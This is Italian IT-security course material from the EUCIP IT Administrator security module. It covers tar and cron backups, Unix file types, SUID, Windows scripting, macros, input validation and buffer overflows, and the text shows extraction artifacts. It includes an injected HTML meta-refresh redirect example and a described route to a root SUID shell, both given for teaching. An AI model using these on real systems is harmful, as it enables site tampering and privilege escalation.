Il comando tar esegue la compressione dei file con l'u-
nico limite di non farlo se si scrive su una device, in tal ca-
so necessario concatenare - in pipe- il comando gzip.
Versioni recenti di tar supportano in forma nativa linte-
grazione con gzip/gunzip. Per richiedere che il tar-file ven-
ga compresso/espanso al volo durante loperazione di
creazione/estrazione si aggiunge allora il qualificatore z:
tar cvzf mioarchivio.tgz /usr/marco/cartella-da-
archiviare/*
per archiviare con compressione, e
tar xvzf mioarchivio.tgz
per estrarre con espansione.
molto frequente anche il caso di backup effettuati su
unit a nastro (note anche come streamers). In tal caso la
sintassi del comando resta invariata per quanto riguarda le
opzioni fondamentali. L'unica differenza riguarda l'indica-
zione dell'unit destinataria del backup (un device) che
prende il posto del nome del tarfile da creare o da leggere.
Normalmente la prima unit a nastro installata sul sistema
rappresentata dal file speciale /dev/st0 (di cui di solito
esiste un alias: /dev/tape). Quindi, per esempio, per ese-
guire su questa unit a nastro il backup di cui all'esempio
precedente, senza compressione dati, si user questo co-
mando:
tar cvf /dev/st0 /usr/marco/cartella-da-archiviare/*
Quanto visto finora consente di effettuare in modo inte-
rattivo un backup o un restore dei propri file. Pi interes-
sante per organizzare le cose in modo tale che il backup
venga effettuato in forma automatica dal sistema, magari
nelle ore notturne. Per farlo si combina la capacit di tar di
archiviare dati (e quella di gzip di comprimerli) con il mec-
canismo cron per lesecuzione programmata di task.
Tecnicamente cron non un comando, bens un demo-
ne. In Unix (e quindi in Linux) un demone un processo di
sistema che gira in background per espletare qualche ser-
vizio, spesso in base a file di configurazione. Nel caso di
cron, il servizio consiste nellesecuzione temporizzata di
comandi di shell. Il relativo file di configurazione crontab.
crontab contiene righe di testo composte da campi sepa-
rati da spazi:
minute hour day-of-month month-of-year day-of-week
command
La tabella A qui sotto riporta la sintassi accettata per
ognuno di questi campi.
Per i campi che ammettono valori numerici inoltre pos-
sibile specificare:
1) intervalli, per esempio 5-15 (da 5 a 15, estremi inclusi)
2) intervalli multipli, per esempio 5-15,25-45 (da 5 a 15 e da
25 a 45 estremi inclusi)
3) un asterisco (*), per indicare per tutti i valori dellin-
tervallo ammissibile
4) (in combinazione con intervalli o con asterisco) uno
step, espresso come slash (/) seguito dal valore dincre-
mento. Per esempio: 0-10/2 significa 0,2,4,6,8,10. Per i
giorni della settimana, 1-7/2 significa luned, mercoled,
venerd, domenica.
Ed ecco alcuni esempi riassuntivi per i valori dei primi
5 campi delle righe di crontab (tabella B).
Per automatizzare lesecuzione del backup della direc-
tory /usr/marco/dati tutti i giorni a mezzanotte e mezza,
con creazione del tar-file /tmp/backup.tar, si crei anzitutto
un file (per esempio: job.txt) contenente la seguente riga di
testo:
0 1 * * 1-7 tar cvf /tmp/backup.tar /usr/marco/dati/*
Fatto ci, per installare questo job negli appuntamenti
serviti da crontab, si esegua il comando
crontab job.txt
Per verificare che il job sia stato correttamente preso in
carico si usa il comando crontab -l (l come list), che vi-
sualizza il quadro della situazione attuale dei job. Per sop-
primere lattuale crontab si usa invece crontab r (r co-
me remove). Il file crontab non dovrebbe essere mai mo-
dificato direttamente (eventualmente disponibile il co-
mando crontab e) ma a titolo di informazione precisiamo
che esso viene salvato dal sistema sotto /var/spool/cron/
<username>
Tabella A - sintassi accettata per ognuno i campi
Campo Intervalli di valori ammissibili o sintassi
minute 0-59
hour 0-23
day-of-month 1-31
month-of-year 1-12 oppure prime tre lettere del nome inglese del mese (case insensitive)
day-of-week 0-7 oppure prime tre lettere del nome inglese del giorno della settimana.
I valori 0 e 7 rappresentano entrambi la domenica
command riga di comando sintatticamente accettabile per la shell. Qualora sia necessario specificare
una successione di comandi, questi andranno separati con punto e virgola.
Sono ammessi costrutti con uso di pipe (|)
Tabella B - esempi per i valori dei primi 5 campi delle righe di crontab
10 0 * * * ogni giorno, a mezzanotte e 10 minuti
30 15 2 * * alle 15:30 il secondo giorno di ogni mese
0 21 * * 1-5 alle ore 21, dal luned al venerd
15 0-23/2 * * * un quarto dora dopo le ore pari (alle 0:15, 2:15, 4:15,...) ogni giorno
30 12 * * sun alle 12:30 della domenica.
S
pesso il computer viene scherzosamente definito un
"idiota veloce" per la sua attitudine a eseguire ordini
relativamente semplici in tempi estremamente brevi.
Tali ordini vengono eseguiti in modo perfettamente fedele,
e se in condizioni normali ci ovviamente desiderabile,
non lo affatto quando gli ordini sono tali da causare mal-
funzionamenti, perdite di dati, divulgazione di informazio-
ni riservate, degrado di prestazioni.
Purtroppo, come tutti gli utenti di PC ben sanno, questa
circostanza non affatto rara. Si potrebbe anzi azzardare
che, soprattutto in ambito domestico o SOHO (Small Offi-
ce Home Office), i casi di sistemi "inviolati" rappresenta-
no l'eccezione e non la regola.
La vulnerabilit dei sistemi SOHO l'effetto combinato
di una amministrazione di sistema generalmente pi "tra-
sandata" e meno specialistica di quella tipica dell'ambien-
te aziendale e di una esposizione ad attacchi di "agenti pa-
togeni" accresciuta dal fatto che da tali postazioni si acce-
de, solitamente, a Internet e tramite questa a contenuti e
programmi provenienti dalla rete e spesso non adeguata-
mente controllati.
In questa puntata passeremo in rassegna i canali usati
per portare l'attacco al nostro sistema. Si tratta dell'abuso
consapevole di "innocenti" programmi difettosi (exploita-
tion) oppure di programmi "nocivi" appositamente scritti.
Come tutti i programmi, anche quelli nocivi, per poter agi-
re, devono essere mandati in esecuzione. A tal fine si pos-
sono adottare varie tecniche: dissimularli all'interno di al-
tri programmi, anche con la capacit di replicarsi dando
luogo a un vero e proprio processo infettivo (virus), ca-
muffarli da programmi innocenti per indurre l'ignaro uten-
te ad eseguirli (trojan horse) o perfino nasconderli in file di
dati (virus delle macro). Nelle sezioni che seguono vedre-
mo in dettaglio le tecniche di attacco e le contromisure per
contrastarle.
I programmi
Parlando della minaccia rappresentata da programmi
scritti con l'esplicito intento di creare danno e disservizio
(malware) importante ricordare che tutti i programmi,
malware compresi, possono essere scritti in una pluralit
di linguaggi ed essere destinati a entrare in esecuzione in
contesti diversi. Per saper contrastare la minaccia rappre-
sentata dai malware quindi necessario conoscere anzi-
tutto gli ambienti di esecuzione nei quali i programmi pos-
sono risiedere ed essere eventualmente attivati.
Il primo tipo di programma, scritto in un generico lin-
guaggio di programmazione e poi trasformato in linguaggio
macchina per poter essere eseguito direttamente appog-
giandosi al sistema operativo, spesso detto "eseguibile"
o "binario". In ambiente Windows, tale categoria di pro-
grammi di solito riconoscibile dal suffisso EXE o COM.
Pi difficile l'identificazione in ambiente Linux, in cui il
suffisso non significativo.
Il concetto di sicurezza del PC sempre comunemente associato
con la difesa da virus, spyware, cavalli di Troia, worm e altri
programmi concepiti per scopi illegali o semplicemente malevoli.
In questa lezione di EUCIP IT Administrator Sicurezza
Informatica scoprirete come identificare le minacce e difendervi
con efficacia.
I contenuti sono composti
da tre elementi: un articolo
sulla rivista, un articolo, molto
pi esteso in formato PDF
e un corso multimediale
completo su CD e DVD
di Marco Mussini
Materiale didattico
validato da AICA
IT Administrator
Modulo 5 -
IT Security
"AICA Licenziataria
programma EUCIP
of Informatic
validato copre
puntualmente e
integralmente gli
e necessari per il
conseguimento della
certificazione IT
Administrator IT
Security. Di
conseguenza AICA
del marchio EUCIP,
vigenti"
2.0 (curriculum
ufficiale AICA)
5.5.1. Programmi
5.5.1.1 Sapere con
quali strumenti
possibile controllare
direttamente un
computer: sistema
operativo,
programmi, comandi
di shell, macro.
Lezione 2: parte 1 Crittografia -
applicazioni
Lezione 4: Disponibilit dei dati
In collaborazione
con:
Identificare le minacce
Il codice maligno
A differenza dell'ambiente Windows, in cui
previsto che il tipo di un file sia
identificato in base al suffisso, i sistemi
Unix in generale (e in particolare Linux)
non usano tale convenzione.
Di conseguenza, il tipo di file deve essere
dedotto da propriet diverse dal suo
nome.
Esiste un apposito comando interattivo di
shell, il comando file, che si preoccupa di
esaminare un file e di stabilire di che tipo
si tratti attraverso un procedimento che si
articola su varie fasi.
Anzitutto si verifica se si tratta di uno dei
cosiddetti "file speciali" di Unix che
possono rappresentare varie entit
diverse dai normali file di dati.
Vediamo un elenco dei diversi tipi
possibili:
dispositivi fisici, come unit a disco o a
nastro, porte seriali, unit rimovibili e
cos via;
socket TCP/IP, ossia le entit astratte
che rappresentano le estremit di una
connessione di rete punto-punto o i
punti di origine/destinazione di una
trasmissione broadcast;
link simbolici, il concetto UNIX a cui si
ispirano i collegamenti a di
Windows: si tratta di piccoli file che
fungono solo da riferimenti a file veri e
propri. In genere essi contengono il path
completo del file bersaglio, con un
qualche marcatore che li qualifica come
link simbolici. Aprirli, chiuderli ed
effettuare I/O su di essi equivale ad
effettuare le stesse operazioni sul file
collegato; loperazione di cancellazione,
invece, cancella il link simbolico, ma
non il file collegato.
hard link, ossia collegamenti realizzati
nella struttura gerarchica del file
system; la differenza rispetto ai link
simbolici sta nel fatto che cancellando
lultimo hard link rimasto ancorato a un
file, il file viene cancellato. Anche le
prestazioni in termini di tempo
daccesso sono pi elevate che nel caso
dei link simbolici, dato che non ci sono
path da interpretare. Lequivalenza tra
hard link e file riferito perci
praticamente assoluta.
named pipe: meccanismi utilizzati per la
comunicazione a run time tra processi
(inter-process communication: IPC)
alternative alluso di connessioni di rete
interne alla macchina e molto pi
efficienti.
I vari tipi di file possono essere
riconosciuti immediatamente attraverso
un'analisi delle strutture dati sul file
system, eseguita innanzi tutto mediante la
primitiva stat.
Se il file risulta non essere un "file
speciale", allora si tenta di aprirlo e di
esaminarne il contenuto. In un certo
numero di casi possibile stabilire, con
certezza, che il file un eseguibile, un file
oggetto, una libreria dinamica, eccetera,
semplicemente leggendo i suoi primi byte
e confrontandoli con alcuni valori noti, in
quanto tali tipi di file hanno una struttura
standard che prevede un prologo (header)
che deve tassativamente contenere alcuni
valori identificativi in ben precise
posizioni.
In particolare, per i file eseguibili e i file
oggetto, un particolare numero intero (di
solito a 32 bit) posizionato vicino all'inizio
del file, a una certa distanza nota da
esso, funge da marcatore di tipo. Trovare
tale valore nella posizione prevista
considerato una signature di un
determinato file type: quindi una prova
sufficiente per concludere che il file
esaminato del tipo corrispondente alla
signature trovata.
Di conseguenza tale valore detto
familiarmente "magic number" e una
tabella dei magic number ufficialmente
considerati attendibili dal sistema si trova
nel file /usr/share/magic.
Per quanto una simile tecnica
didentificazione dei file possa sembrare
"fragile", essa in realt affidabile in un
numero sorprendentemente alto di tipi di
file.
Si veda, per esempio,
http://www.gar ykessler.net/librar y/file_si
gs.html per un elenco di header
corrispondenti a tipi di file molto diffusi.
Naturalmente esiste un problema di
ambiguit: due formati di file potrebbero
avere lo stesso valore in una determinata
posizione dell'header; in questo caso pu
bastare prendere in esame posizioni
diverse per cercare magic number pi
affidabili e univoci. Pu per sempre
capitare che per pura combinazione un file
si trovi a contenere, nei suoi primi byte,
proprio tali valori che sono
obbligatoriamente presenti in altri tipi di
file noti e che sono anzi usati per
riconoscerli.
In tal caso il riconoscimento sar erroneo
e potranno verificarsi anche problemi seri
(ad esempio qualora un file qualunque
fosse scambiato per un file eseguibile e,
come tale, mandato in esecuzione).
Tale rischio non potr mai essere
eliminato (non si possono certo imporre
restrizioni sul contenuto di un file
generico), ma la probabilit di trarre
conclusioni sbagliate pu essere
significativamente ridotta considerando un
header pi grande e pi magic number in
posizioni diverse.
Per avere un'idea del contenuto del file
/usr/share/magic si veda ad esempio
http://www.gar ykessler.net/librar y/
magic.html oppure, qualora si abbia a
disposizione una macchina Linux, si apra
direttamente quello del proprio sistema.
Quando il file in esame non supera il
confronto con tutti i magic number, il
computer conclude che si tratta di un file
di dati. Viene compiuto tuttavia ancora
uno sforzo per tentare di stabilire se si
tratti di un file di testo oppure no.
Per questo il suo contenuto viene
controllato per verificare se contiene solo
codici di caratteri definiti dal set ASCII,
Extended ASCII, ISO-8859-1, UTF-8 o UTF-
16 (due particolari codifiche per Unicode,
rispettivamente orientate a 8 bit o a 16
bit), o per fino dal poco noto EBCDIC (una
codifica usata dall'IBM sui suoi mainframe
fin dagli anni '70).
Se il file viene riconosciuto come file di
testo, allora si tenta un ultimo esame per
stabilire se per caso si tratti di un file
scritto in un qualche linguaggio di
programmazione conosciuto, come C++ o
Java.
In tal caso vi il problema che una parola
chiave riser vata di un linguaggio potrebbe
non esserlo in un altro, in cui sarebbe
quindi lecito utilizzarla come nome di
variabile (una posizione di memoria dotata
di nome, che pu contenere dati che
variano durante lesecuzione di un
programma): per esempio, "class" una
parola chiave riser vata in C++, ma
potrebbe essere un nome di variabile in C.
Inoltre "class" una parola chiave anche
in Java, quindi trovare una ricorrenza di
"class" non permette ancora di trarre
conclusioni.
Occorre un'ulteriore indagine per cercare
altre parole chiave ed eventualmente
anche per verificarne la posizione relativa.
Non insomma n semplice n affidabile
identificare il linguaggio in cui scritto un
file sorgente (tra l'altro, vista la
ridondanza della lingua inglese e delle
keyword informatiche, la probabilit che
una stessa parola chiave compaia in pi
programmi scritti in linguaggi diversi
molto maggiore della probabilit di
ritrovare un magic number pseudocasuale
a 32 bit.)
Per un esempio del file names.h, che
contiene il repertorio usato dal comando
file per tentare di riconoscere il linguaggio
di programmazione di un file sorgente, si
veda
ftp://ftp.tw.openbsd.org/pub/OpenBSD/
src/usr.bin/file/names.h
Identificazione del tipo di file in ambiente Linux
Programmi di questo genere interagiscono direttamen-
te con il sistema operativo, anche se di solito quest'ultimo
prevede limiti non facilmente valicabili per programmi ese-
guiti da utenti non in possesso di privilegi di amministra-
tore. Il rischio quindi proporzionato ai privilegi di utente
di chi esegue il programma. In ambiente Linux le cose so-
no molto pi sottili: impostando opportunamente i per-
messi Set-User-ID (SUID) sul file eseguibile, possibile fare
in modo che a un determinato programma, seppur esegui-
to da un utente non privilegiato, vengano concessi duran-
te l'esecuzione diritti equivalenti a quelli che avrebbe se
fosse stato eseguito dall'amministratore. Naturalmente
l'impostazione di tali diritti possibile solo all'amministra-
tore stesso, restrizione che dovrebbe rappresentare un ef-
ficace contrasto contro tentativi degli utenti "normali" di ar-
rogarsi privilegi indebiti. Purtroppo, falle di security o pro-
grammi ingannevoli possono essere sfruttati per ottenere
privilegi di super-user giusto per il tempo sufficiente al fine
dimpostare i permessi SUID sul programma.
Altri tipi di programma realizzati con le stesse tecniche
di base, ma mirati a gestire periferiche (driver) o a imple-
mentare funzioni comunemente utilizzate da pi program-
mi (librerie condivise) sono memorizzati in file che in am-
biente Windows presentano estensioni come .SYS o .DLL,
mentre in Linux i suffissi, non sempre presenti, possono es-
sere .sa, .so, .lib.
I programmi appartenenti a questa categoria possono fa-
cilmente acquisire "pieni poteri", data la loro intima rela-
zione con alcuni dei sottosistemi pi delicati del sistema
operativo, e vengono mandati in esecuzione a seguito dim-
postazioni presenti nei file di configurazione del sistema
operativo stesso, come ad esempio, in ambiente Windows,
il file SYSTEM.INI o lo stesso Registro di Sistema. La loro pre-
senza normale e necessaria per il funzionamento del si-
stema, purch siano effettivamente ci che dicono di es-
sere e non siano stati alterati rispetto alle versioni origina-
li. Ma se un malware riesce a sostituirli con una propria ver-
sione modificata ingannando l'utente, pu riuscire a in-
staurare una falla stabile e poco evidente nella sicurezza
del sistema (backdoor), degradarne "cronicamente" le pre-
stazioni facendo eseguire codice inutile concepito solo per
drenare potenza di calcolo e rallentare il sistema (worm)
oppure destabilizzarlo in forma "acuta", danneggiando la
tabella delle partizioni, il registro di sistema o altri file e im-
postazioni vitali per il funzionamento generale di sistema
operativo e applicazioni.
Una seconda categoria di programmi quella degli
script. Uno script, in senso tradizionale, consiste in un file
contenente una successione, o gruppo (batch) di istruzio-
ni uguali ai comandi che l'utente pu impartire interattiva-
mente da una finestra DOS (Prompt dei comandi) o, in Li-
nux, da una finestra terminale (xterm ed equivalenti). Per-
ci il file che ospita lo script spesso definito batch file.
prassi comune memorizzare gli script in file il cui no-
me ha un suffisso che permette di determinare il linguaggio
in cui sono scritti. La tecnica praticamente necessaria in
ambiente Windows, in quanto il criterio usato da Win-
dows Explorer per eseguire gli script con l'interprete adat-
to al linguaggio in cui sono scritti. In ambiente Linux inve-
ce il suffisso opzionale in quanto rilevante soltanto per
l'utente umano: la shell determina l'interprete idoneo per
eseguire lo script in base a uninformazione contenuta nel-
la prima riga del file. Tale riga, se presente, caratterizza-
ta dal prefisso "#!" (il cosiddetto dash-bang), che deve es-
sere seguito dal percorso completo fino all'interprete di cui
indicato l'impiego per eseguire le rimanenti righe dello
script. L'interprete pu essere una delle tante shell dispo-
nibili in ambiente Linux oppure un interprete di altro lin-
guaggio di scripting come Perl o Tcl/Tk.
In ambiente Windows gli script implementati nel lin-
guaggio di shell di MS-DOS (per intenderci, il linguaggio che
comprende comandi come dir, cd, mkdir, del, copy, move,
format, echo, type) vengono memorizzati in file con suffis-
so .BAT. Gli script file implementati in Perl, Tcl o Python ri-
cevono solitamente estensioni .pl, .tcl e .py, rispettiva-
mente.
Windows prevede un ampio ventaglio di tecnologie di
scripting proprietarie che comprendono VBScript e JScript
dal punto di vista del linguaggio; Windows Scripting Host
dal punto di vista del contesto di esecuzione per gli script;
COM, WMI ed ADSI dal punto di vista dei modelli a oggetti
che consentono accesso alle funzionalit di sistema con le
quali gli script devono interagire.
VBScript sintatticamente analogo al Visual Basic, ma
applicato, in questo contesto, all'interazione con funzioni
di sistema attraverso chiamate a librerie (API: Application
Program Interface) piuttosto che alla realizzazione di appli-
cativi. Gli script VBScript prendono solitamente il suffisso
.vbs.
JScript risulta abbastanza affine a JavaScript, il linguag-
gio di scripting inventato da Netscape per automatizzare
certe classi di operazioni nei browser web, come la valida-
zione dei campi presenti nelle moduli (form) da compilare
in certe pagine web, oppure per rendere parzialmente di-
namici i contenuti delle stesse pagine. Il suffisso solita-
mente .js.
Impostare il permesso SUID su un file
Il permesso SUID pu essere impostato dal proprietario del file o dall'amministratore
(root). Il comando usato
chmod u+s nomefile
e dopo l'operazione i permessi appariranno come in questo esempio:
-rwsr-xr-x
Quando il programma interessato sar mandato in esecuzione, chiunque sia l'utente
che lo avr fatto, esso girer come se lo avesse lanciato il proprietario. Quindi,
qualora il proprietario del file sia root, lo script (o programma) potr agire senza
limitazioni anche se lanciato da un normale utente!
Ricordiamo anche che, se necessario, l'identit del proprietario di un file (ownership)
pu essere cambiata utilizzando il comando chown: per esempio, il seguente
comando fa risultare root come proprietario del file "miofile":
chown root miofile
ovvio che, per motivi di sicurezza, chown pu essere eseguito solo dal proprietario
attuale del file oppure da root. Sempre come misura di sicurezza, il proprietario
attuale pu impostare un nuovo owner solo nell'ambito del gruppo di cui egli fa gi
parte, mentre root ha piena libert. Inoltre, in quasi tutte le varianti di Unix,
eseguendo chown il permesso SUID viene azzerato, cosicch, non risultando ormai
pi il proprietario del file, il vecchio proprietario non possa pi disporre del permesso
SUID, non potendolo reimpostare su un file che non pi suo. Se cos non fosse,
infatti, al proprietario di un file basterebbe creare un file contenente la copia
dell'eseguibile di una shell, conferirgli il permesso SUID e poi cambiare la ownership
a root per ottenere una shell SUID di root.
Un esempio dash-bang
Esempio di linea "dash-bang" per alcune delle shell pi
diffuse con i rispettivi path tipici di installazione.
#!/bin/sh
#!/bin/bash
#!/usr/bin/ksh
#!/usr/bin/csh
#!/usr/bin/tcsh
#!/usr/local/bin/perl
#!/usr/local/bin/tclsh
Windows Scripting Host un ambiente di esecuzione
per script realizzati in vari possibili linguaggi, in particola-
re JScript e VBScript. Lo si pu paragonare all'interprete
COMMAND.COM (o CMD.EXE) per l'esecuzione degli script
BAT di MS-DOS, oppure a Internet Explorer per l'esecuzio-
ne degli script Dynamic HTML, oppure ancora, in ambien-
te Linux, alle varie shell esistenti, ognuna delle quali in
grado di eseguire script realizzati nel corrispondente lin-
guaggio.
La differenza fra WSH e un interprete "puro" sta per nel
fatto che WSH non pone n vincoli sul particolare linguag-
gio da usare (come gi ricordato, infatti, ne supporta di-
versi) n sul modello a oggetti con il quale gli script pos-
sono interagire.
Non quindi un linguaggio in s, e neppure una API, ben-
ch in realt implementi anche un suo modello a oggetti uti-
lizzabile dagli script da esso eseguiti.
Per l'esecuzione da consolle di script in ambiente WSH
esistono i comandi cscript e wscript. Il primo, che lavora in
contesto consolle, agevola il trattamento dei risultati del-
l'esecuzione dello script e consente di eseguire programmi
esterni. Wscript lavora invece indipendentemente dalla
consolle, perci in questo caso i risultati dello script (an-
che se emessi come semplici messaggi di testo con il co-
mando echo) saranno mostrati in uno o pi dialog box du-
rante la sua esecuzione.
Di solito wscript impostato come l'applicazione di de-
fault per eseguire gli script, pertanto esiste il rischio di
mandare accidentalmente in esecuzione uno script mole-
sto con un semplice doppio clic sul relativo file .vbs.
Per approfondimenti su WSH e lo scripting in ambiente
Windows: www.microsoft.com/technet/scriptcenter/
guide/sas_wsh_overview.mspx
Script di questo tipo, che possono accedere al Registry,
invocare applicazioni Windows attraverso il modello COM
(Common Object Model), montare dischi di rete, perfino
eseguire operazioni su computer remoti (se sussistono le
necessarie condizioni) hanno potenzialit enormemente
pi ampie rispetto agli script .BAT di MS-DOS, e proprio per
tale motivo pongono rischi per la sicurezza assai maggiori
poich possono essere sfruttati da malware (codice mali-
gno) per instaurare meccanismi subdoli con cui controlla-
re la macchina o disturbarne il funzionamento in vario mo-
do.
Anche per tale motivo prevista la possibilit di "mar-
chiare" con firma digitale gli script WSH per autenticare l'i-
dentit dell'autore. Altre possibilit per limitare i rischi so-
no l'imposizione di restrizioni sulla facolt di un utente di
eseguire script WSH o addirittura la disabilitazione totale di
WSH. Ad esempio, per evitare che uno script VBScript ven-
ga riconosciuto come tale dal sistema, col rischio che quin-
di possa essere eseguito, sufficiente aprire una finestra di
Esplora Risorse, selezionare Strumenti/Opzioni Cartella,
poi Tipi di File e scegliere nell'elenco l'estensione .VBS. (Fi-
gura 1) A questo punto, fare clic su Elimina.
I modi di mandare in esecuzione un programma o uno
script in ambiente Windows sono molteplici: tra quelli
espliciti citiamo il doppio clic sull'icona dell'eseguibile in
una finestra di Explorer o il doppio clic su un collegamen-
to all'eseguibile. Esistono anche metodi impliciti, quali l'in-
serimento di un collegamento all'eseguibile nel gruppo Ese-
cuzione automatica o nell'apposita sezione del file WIN.INI,
e via dicendo. I programmi antimalware elencano tra i pro-
pri scopi laccurato controllo di tutti i possibili agganci
(hook) ed eventualmente la loro bonifica per neutralizzare
il malware associato, come vedremo pi avanti.
La terza forma sotto cui pu presentarsi un codice ese-
guibile consiste nelle cosiddette macro. Si tratta di proce-
dure scritte in una sorta di linguaggio di scripting interno,
riconosciuto da alcune applicazioni di complessit medio-
alta, tra cui la suite Office, i programmi CAD e perfino cer-
ti editor. Applicazioni di questo livello sono capaci di ese-
guire un gran numero di operazioni, che vengono di norma
invocate in modo interattivo dall'utente per mezzo dell'in-
terfaccia grafica, con tastiera e mouse.
Tuttavia, per automatizzare operazioni ripetitive o per
parametrizzare alcune operazioni frequenti onde riappli-
care a oggetti diversi o con varianti dipendenti dal conte-
sto, viene generalmente offerta la possibilit di scrivere ve-
ri e propri programmi espressi in un particolare linguaggio
interno, di solito diverso da unapplicazione allaltra, con
l'eccezione delle suite integrate come Office, nelle quali al-
meno la sintassi generale viene mantenuta uniforme in tut-
ti i programmi per semplificarne l'apprendimento. Esegui-
re tali programmi equivale in tutto e per tutto a compiere
determinate sequenze di operazioni interattive (col risul-
tato di eseguire "macrooperazioni", donde il nome di "ma-
cro") e perci possiamo considerarli affini agli script pre-
sentati prima. Una particolarit sta tuttavia nel fatto che,
generalmente, possibile fare in modo che le macro ven-
gano memorizzate nei documenti ai quali si applicano. An-
cora pi importante, generalmente possibile fare s che
una determinata macro venga eseguita all'avvio dell'appli-
cazione. Se paragoniamo l'applicazione (per esempio
Word) al sistema operativo (per esempio Windows) e la
macro a uno script, una situazione del genere corrisponde
a uno script S agganciato al gruppo Esecuzione automa-
tica: la macro sar attivata all'avvio di Word, cos come lo
script S viene attivato all'avvio di Windows.
La conseguenza di tutto ci inquietante: si apre infatti
la possibilit di eseguire inavvertitamente un programma
solo per aver aperto un documento o anche solo un'appli-
cazione di uso normale e di per s innocua.
Come vedremo in dettaglio pi avanti, tale circostanza
stata naturalmente sfruttata dagli autori dei cosiddetti "vi-
rus delle macro di X", dove X il programma interessato.
La validit dell'input e la sicurezza
Tutti i programmi di una qualche utilit interagiscono
necessariamente con l'esterno, sia per ricevere input sia
per emettere in output i risultati. L'input somministrato al
programma evidentemente ne determina il comportamen-
to e, in ultima analisi, l'output.
Normalmente, il programma dovrebbe essere in grado
di trattare correttamente i valori o i dati di input accettabili
e rifiutare o ignorare quelli scorretti o fuori dall'intervallo
ammesso. Tuttavia, in generale, si pu dire che i program-
mi perfetti non esistono e se il programma non scritto in
modo rigorosamente corretto possibile che particolari
Figura 1
Disabilitare VBScript
5.5.1.2 Essere al
corrente delle
esigenze di filtraggio
e validazione
dell'input ai fini della
sicurezza
valori forniti in input, magari con una determinata succes-
sione temporale (input pattern), comportino malfunziona-
menti.
Si noti che l'errore potrebbe anche non essere dovuto di-
rettamente al programma, ma a un bug del sistema opera-
tivo o di qualche altro componente software impiegato dal
programma per funzionare, come il driver di periferica. Va
da s che malfunzionamenti o vulnerabilit in tali aree han-
no ricadute potenziali assai pi ampie di quelle dovute a un
bug in una singola applicazione: potrebbero risultarne in-
fluenzati tutti i programmi che ne fanno uso. Come vedre-
mo pi in dettaglio tra poco, ad esempio, esiste tutta una
classe di problemi di sicurezza causati da una progettazio-
ne inadeguata di alcune basilari librerie del C.
Queste "incrinature" nella correttezza del sistema sono
sfruttabili per un attacco intenzionale. Il principio di base
relativamente semplice: studiare il bug per scoprire qua-
le particolare input pattern pu causare un errore o com-
portamento anomalo desiderato, quindi fare in modo che
il programma venga alimentato proprio con quell'input pat-
tern.
Il primo punto il pi complesso, specie perch l'attac-
cante pu analizzare il programma solo come un black box.
Avendo a disposizione il codice sorgente del programma
da analizzare, identificare le eventuali falle risulterebbe
molto pi semplice.
In ogni caso, falle di sicurezza dovute a cattiva gestione
dell'input vengono scoperte di continuo in applicazioni e si-
stemi operativi di larga diffusione. Quando scoperte da spe-
cialisti del contrasto al malware, il risultato la pubblica-
zione di una patch per chiudere la "falla". Spesso tuttavia la
stessa falla viene scoperta prima da malintenzionati e il ri-
sultato la realizzazione e la diffusione in rete di un
malware o virus basato su di essa. Inoltre, anche nel caso
in cui la falla venga prima identificata da una fonte amica,
possibile che alcuni attacchi vadano a segno per il ritar-
do con gli utenti applicano le patch di correzione. In questo
secondo caso il pericolo potr dirsi circoscritto solo quan-
do saranno soddisfatte due condizioni: la disponibilit di
un aggiornamento per antivirus e antimalware per rilevare
il nuovo agente molesto e una patch al sistema operativo o
all'applicazione coinvolta per impedire l'ulteriore uso del-
la vulnerabilit da parte di tale malware o di altri basati sul-
lo stesso principio.
Una regola di programmazione vuole che linput dellu-
tente venga sempre verificato al fine di evitare che falle nel-
la procedura dinserimento dati di unapplicazione con-
sentano ai malintenzionati di mandare in crisi lapplicazio-
ne stessa oppure sfruttarla per guadagnare accesso a ri-
sorse. Solo tramite una validazione rigorosa dellinput e un
suo filtro accurato prima di accettarlo consentono di tute-
larsi da attacchi su tale fronte. In particolare qualsiasi for-
ma di input da parte di un utente anonimo potenzial-
mente pericolosa e va verificata prima di trasferirla a un da-
tabase che contenga informazioni controllate e affidabili.
Esistono diversi metodi per sfruttare la mancanza di con-
trollo dellinput a scopi malevoli. Il primo di questi consiste
nellinserire nei dati di input unistruzione che costringa il
server su cui linput verr memorizzato a compiere una-
zione imprevista. Prendiamo lesempio pratico di un sito
che consenta ai propri visitatori di scrivere commenti sui
prodotti proposti a beneficio di altri acquirenti. Un visita-
tore che avesse particolare interesse nel prodotto rosso
potrebbe inserire tra i commenti del prodotto bianco la
seguente riga di codice HTML: <meta http-equiv=refresh
content=1; URL=http://www.miosito.it/prodotto_rosso.
aspx>. In tal modo, qualsiasi visitatore che arrivasse sulla
pagina del prodotto bianco verrebbe trasferito automa-
ticamente nel giro di un secondo alla pagina del prodotto
rosso suo malgrado.
Unaltra modalit di sfruttamento di un input non con-
trollato e nella fornitura di input troppo lunghi tali da pro-
vocare un buffer overrun o overflow ossia il debordare dei
dati forniti nello spazio di memoria riservato allesecuzio-
ne di una query (richiesta) al database residente sul server,
permettendogli cos di alterarne il contenuto sfruttando la
via di accesso aperta dallapplicazione (vedi pi avanti una
spiegazione dettagliata di buffer overflow). Ancora peg-
gio sarebbe il caso di unapplicazione che accettasse di-
rettamente linput di un utente come parte di una query
SQL (lo Structured Query Language usato per qualsiasi ope-
razione su database). Conoscendo il funzionamento in det-
taglio del linguaggio SQL, lattaccante potrebbe alterarne il
funzionamento al punto di poter guadagnare accesso al da-
tabase anche se sprovvisto di un nome utente e di una
password regolari. Un terzo metodo di sfruttamento di un
input non controllato consiste nel cross-site scripting, de-
scritto in dettaglio pi avanti.
Attacchi "Buffer overflow"
Abbiamo menzionato la possibilit di scatenare com-
portamenti anomali (ma utili ai fini di attacco) in un siste-
ma o in un applicativo, fornendo in input valori non validi
o fuori dall'intervallo ammissibile (fuori range). Con tale
espressione non intendiamo solo numeri troppo grandi o
troppo piccoli, o negativi anzich positivi, ma soprattutto,
pi precisamente, stringhe di caratteri o blocchi di dati ec-
cessivamente lunghi. Gli attacchi che mirano a prendere il
controllo del programma o della macchina facendo leva su
questa vulnerabilit si chiamano buffer overflow attacks ed
probabilmente la tecnica che ultimamente sta generando
il maggior numero di minacce alla sicurezza del software (e
che, parallelamente, sta costringendo i produttori all'e-
missione di una serie interminabile di patch per la sicurez-
za, aggiornamenti critici e Service Pack).
Vediamo su quali principi si basa un attacco di buffer
overflow.
Gran parte del codice dei sistemi operativi in circola-
zione stato scritto in linguaggi non recenti, come il C, i cui
meccanismi di input/output, ideati 30 anni fa, non sono sta-
ti progettati tenendo nella dovuta considerazione deter-
minati casi di utilizzo scorretto che oggi sono di rilevanza
molto maggiore rispetto ad allora proprio a causa dei nuo-
